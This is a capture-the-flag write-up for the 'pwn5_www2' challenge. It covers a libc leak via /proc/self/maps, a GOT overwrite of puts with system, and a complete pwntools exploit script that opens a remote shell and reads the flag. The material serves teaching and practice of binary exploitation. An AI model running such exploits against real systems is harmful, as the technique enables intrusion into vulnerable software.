pwn5_www2
pwn5_www2
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: constructor_libc_leak, got_overwrite, proc_self_maps_parse, puts_to_system, write_what_where
Summary
Task: NON-PIE x86-64 binary with stack canary, a custom .init_array constructor that prints /proc/self/maps (free libc leak) before main, and an 8-byte write-what-where (raw value + decimal strtol address). Solution: parse libc base from the startup maps dump, overwrite puts@GOT with system via the WWW primitive, then feed '/bin/sh' to the buffer so the later puts(rbp) becomes system('/bin/sh').
pwn5_www2 — pwn_spbctf
Description
Пришло время для перезаписи 2.
(English: "Time for an overwrite 2.")
A "Mic Check" / warmup-tier pwn challenge in the www (write-what-where) family.
We are given www2.elf and libc.so.6 (glibc 2.31). Remote: nc 109.233.56.90 11656.
Goal: get a shell and read /flag. Author: George Zaytsev (@groke).
Analysis
Binary properties:
- NON-PIE (base
0x400000), NX, Partial RELRO, stack canary, not stripped. - PLT imports:
open, printf, puts, read, strtol, setvbuf— nosystemimported.
The crux — a libc leak from a constructor, BEFORE main
.init_array is [frame_dummy, bufinit]. The extra constructor bufinit @0x401100
sets up buffering (setvbuf) and then jmp drop_address @0x401350. drop_address
runs before main and does:
c read-only • copy allowedfd = open("/proc/self/maps", 0); // string @0x402033 read(fd, buf, 0x1000); puts(buf); // prints the ENTIRE memory map
So the program hands us /proc/self/maps — including the libc base address — for
free at startup. No looping, no in-band leak, no canary leak needed for the libc base.
main and the write primitive
main @0x4010a0:
c read-only • copy allowedcanary = ...; write_prim(); puts("Ok, enter your data:"); read(0, rbp, 0x20); // attacker-controlled buffer puts(rbp); // <-- prints back our buffer // canary check; ret
write_prim @0x401290 — an 8-byte write-what-where:
c read-only • copy allowedprintf("Enter data(8 bytes): "); read(0, &value, 8); // VALUE: 8 raw bytes -> send p64(target) printf("Enter address(decimal): "); // reads bytes until '\n' into a buffer addr = strtol(buf, NULL, 10); // ADDRESS: DECIMAL ASCII string *(long*)addr = value; // mov [rax], rdx -> arbitrary 8-byte write
puts@GOT = 0x404018 = decimal 4210712.
Solution
Single pass, no looping required:
- Leak: parse the startup
/proc/self/mapsdump; take the lowest mapping containinglibcas the libc base.system = base + 0x55410. - WWW: in
write_prim, sendvalue = p64(system)(8 raw bytes) andaddress = "4210712"(puts@GOT in decimal). This setsputs@GOT = system. - Back in
main,puts("Ok, enter your data:")is nowsystem("Ok, enter your data:")— harmless (sh: Ok,: not found). read(0, rbp, 0x20): send"/bin/sh\0".- The final
puts(rbp)is nowsystem("/bin/sh")→ shell.cat /flag.
Why GOT and not the return address: the stack canary blocks a stack smash, so we pivot through the GOT instead of overwriting a saved RIP.
Example values this run: libc base 0x7a869a011000, system 0x7a869a066410.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import re, time context.arch = 'amd64' exe = ELF('./www2.elf', checksec=False) libc = ELF('./libc.so.6', checksec=False) HOST, PORT = '109.233.56.90', 11656 def parse_libc_base(maps_text): base = None for line in maps_text.splitlines(): if b'libc' in line: start = int(line.split(b'-')[0], 16) base = start if base is None else min(base, start) return base def pwn(): io = remote(HOST, PORT) # startup drop_address(): open("/proc/self/maps"); read; puts(buf) data = io.recvuntil(b'Enter data(8 bytes): ', timeout=20) libc.address = parse_libc_base(data) system = libc.symbols['system'] log.success(f'libc base = {hex(libc.address)} system = {hex(system)}') puts_got = exe.got['puts'] # 0x404018 == 4210712 # write_prim: 8-byte VALUE = system, DECIMAL ADDRESS = puts@GOT io.send(p64(system)) io.recvuntil(b'Enter address(decimal): ', timeout=10) io.send(str(puts_got).encode() + b'\n') # *(long*)puts_got = system # main: puts("Ok,...")==system(...) harmless; read(0,rbp,0x20); puts(rbp) time.sleep(0.5) io.send(b'/bin/sh\x00\n') # buffer passed to puts == system time.sleep(0.5) io.sendline(b'cat /flag* 2>/dev/null; id') out = io.recvrepeat(3) print(out.decode(errors='replace')) m = re.search(rb'spbctf\{[^}]*\}', out) if m: log.success('FLAG: ' + m.group().decode()) io.interactive() pwn()